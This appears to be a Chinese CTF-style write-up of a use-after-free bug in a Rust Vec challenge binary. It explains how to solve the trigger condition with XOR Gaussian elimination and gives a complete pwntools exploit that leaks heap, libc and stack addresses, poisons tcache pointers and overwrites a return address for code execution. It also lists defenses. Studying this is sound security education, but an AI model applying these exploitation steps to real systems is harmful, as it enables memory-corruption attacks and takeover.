深入剖析 Rust Vec 的 UAF(Use After Free)漏洞及其利用方式
字数 1222 2025-08-22 12:23:18
Rust Vec UAF漏洞分析与利用教学文档
1. Rust Vec基础原理
1.1 Vec底层结构
Vec是Rust中基于动态数组实现的容器类型,其核心结构如下:
pub struct Vec<T> {
ptr: *mut T, // 指向元素内存块的起始地址
len: usize, // 当前存储的元素数量
capacity: usize // 已分配的最大元素容量
}
capacity总是大于或等于len- 元素存储在堆内存中,由标准库分配器管理
1.2 内存分配特性
- 初始创建时通常不分配内存,直到添加第一个元素时才分配
- 扩容时会分配一块更大的内存(通常是原容量的两倍),并将现有元素移动过去
- 提供O(1)时间复杂度的随机访问
1.3 安全机制
Rust的借用检查器确保:
- 防止越界访问
- 确保线程安全性(需要
Arc<Mutex<Vec<T>>>)
2. 漏洞程序分析
2.1 主要功能
- 添加Vec对象:最多添加0x10个,无直接漏洞
- 删除对象:存在UAF漏洞
- 添加元素:限制最多添加2个元素
- 查看元素:存在一次性的泄漏漏洞
2.2 UAF触发条件
关键判断逻辑:
if (pwn::UAF_FLAG || (v23 = pwn::do_something(v24[0]), (v24[0] ^ v23) != 0xFFFFFFFF)) {
// 正常流程
} else {
pwn::UAF_FLAG = 1; // 触发UAF
}
触发条件:
pwn::do_something(v24[0]) ^ v24[0] == 0xFFFFFFFFv24[0]为用户输入的id值
2.3 do_something函数分析
函数逻辑:
- 将输入id转换为二进制
- 从左到右依次检查每一位
- 如果某位为1,则执行
pwn::mix函数进行异或操作 - 异或操作基于bss段上的32个全局数组值
2.4 泄漏漏洞
泄漏触发条件:
if (pwn::LEAK_FLAG == 1 && <i64 as pwn::Trait>::abs(1131796LL) == v23)
其中abs函数实现:
__int64 __fastcall <i64 as pwn::Trait>::abs(__int64 a1) {
return a1 ^ 0x1177;
}
因此触发条件为:1131796 ^ 0x1177 == v23
3. 漏洞利用技术
3.1 利用步骤
- 触发UAF:通过计算正确的输入id值
- 泄漏堆地址:
alloc(0x80) append(0, [0x41]*2) free(uaf_trigger_id) free(0) view(0, 0) - 泄漏libc地址:
alloc(0x4f0) alloc(0x4f0) append(1, [0x42]*2) free(1) view(1, 0) - 泄漏栈地址:利用environ变量
- 覆盖返回地址:写入后门函数地址
3.2 关键计算
UAF触发id计算:
将32个全局数组值视为32个方程的系数,求解满足条件的id值。使用高斯消元法解异或方程组:
// 高斯消元法解异或方程组
int gauss() {
int r, c;
for(r=0,c=0; c<n; ++c) {
int t = r;
for(int i=r; i<n; ++i)
if(a[i][c]) { t=i; break; }
if(!a[t][c]) continue;
for(int i=c; i<=n; ++i) swap(a[r][i],a[t][i]);
for(int i=r+1; i<n; ++i)
if(a[i][c])
for(int j=n; j>=c; --j)
a[i][j] ^= a[r][j];
++r;
}
if(r < n) {
for(int i=r; i<n; ++i)
if(a[i][n]) return 2;
return 1;
}
for(int i=n-1; i>=0; --i) {
for(int j=i+1; j<n; ++j)
a[i][n] ^= a[i][j] & a[j][n];
}
return 0;
}
3.3 完整利用流程
- 计算触发UAF的id值(如3957556225)
- 泄漏堆地址
- 泄漏libc基地址
- 计算environ地址(栈地址)
- 利用UAF修改指针指向栈地址
- 覆盖返回地址为后门函数
4. 防御措施
- 正确实现Drop trait:确保释放资源时清空所有相关字段
- 使用Option包装指针:释放后将指针设为None
- 启用Rust安全检查:如边界检查、生命周期检查
- 避免直接操作裸指针:尽量使用安全抽象
- 审计unsafe代码:严格检查所有unsafe块的安全性
5. 漏洞利用完整EXP
from pwn import *
bin = ELF('./pwn')
lib = ELF('./libc.so.6')
context(arch='amd64')
p = process('./dockerfile/files/pwn')
def alloc(size):
p.recvuntil(b'>')
p.sendline(b'1')
p.recvuntil(b'>')
p.sendline(str(size).encode())
def free(index):
p.recvuntil(b'>')
p.sendline(b'2')
p.recvuntil(b'>')
p.sendline(str(index).encode())
def append(index, values):
p.recvuntil(b'>')
p.sendline(b'3')
p.recvuntil(b'>')
p.sendline(str(index).encode())
p.recvuntil(b'>')
p.sendline(str(len(values)).encode())
for v in values:
p.recvuntil(b'>')
p.sendline(str(v).encode())
def view(index, subindex):
p.recvuntil(b'>')
p.sendline(b'4')
p.recvuntil(b'>')
p.sendline(str(index).encode())
p.recvuntil(b'>')
p.sendline(str(subindex).encode())
# 泄漏堆地址
alloc(0x80) # 0
append(0, [0x41]*2)
free(3957556225) # 触发UAF的id
free(0)
view(0, 0)
key = int(p.recvline().decode().split(' ')[2])
heap_addr = key << 12
log.info(f"{hex(heap_addr)=}")
# 泄漏libc地址
alloc(0x4f0) # 1
alloc(0x4f0) # 2
append(1, [0x42]*2)
free(1)
view(1, 0)
base_addr = int(p.recvline().decode().split(' ')[2]) - 0x1bcb20
environ_addr = base_addr + lib.sym['environ'] - 0x18
log.info(f"{hex(environ_addr)=}")
log.info(f"{hex(base_addr)=}")
# 准备修改指针
alloc(0x80) # 3
alloc(0x80) # 4
alloc(0x80) # 5
alloc(0x80) # 6
append(3, [0x41]*2)
free(6)
free(5)
free(4)
free(3)
# 修改指针指向environ地址
append(4, [(key + 1) ^ environ_addr])
# 分配并泄漏栈地址
alloc(0x80) # 7
alloc(0x80) # 8
alloc(0x80) # 9
view(9, 1135715) # 1131796 ^ 0x1177
[p.recvline() for _ in range(3)]
stack_addr = int(p.recvline().decode().split(' ')[4]) - 0x650 - 0x10
if stack_addr & 0xf == 8:
stack_addr += 8
log.info(f"{hex(stack_addr)=}")
# 修改指针指向栈地址
alloc(0x80) # 10
alloc(0x80) # 11
free(10)
free(11)
append(11, [(key + 2) ^ stack_addr])
# 写入后门函数地址
alloc(0x80) # 12
alloc(0x80) # 13
backdoor = base_addr + 0x38A70
append(13, [backdoor]*2)
p.interactive()
6. 总结
本漏洞利用展示了如何通过精心构造的输入触发Rust Vec的UAF漏洞,结合泄漏漏洞实现任意代码执行。关键点包括:
- 理解Vec的内部结构和内存管理机制
- 分析条件判断逻辑找到触发点
- 解决异或方程组计算触发值
- 利用UAF修改指针实现地址泄漏
- 最终控制流劫持
这提醒我们在使用Rust的unsafe特性时需要格外小心,确保资源释放的正确性和指针操作的安全性。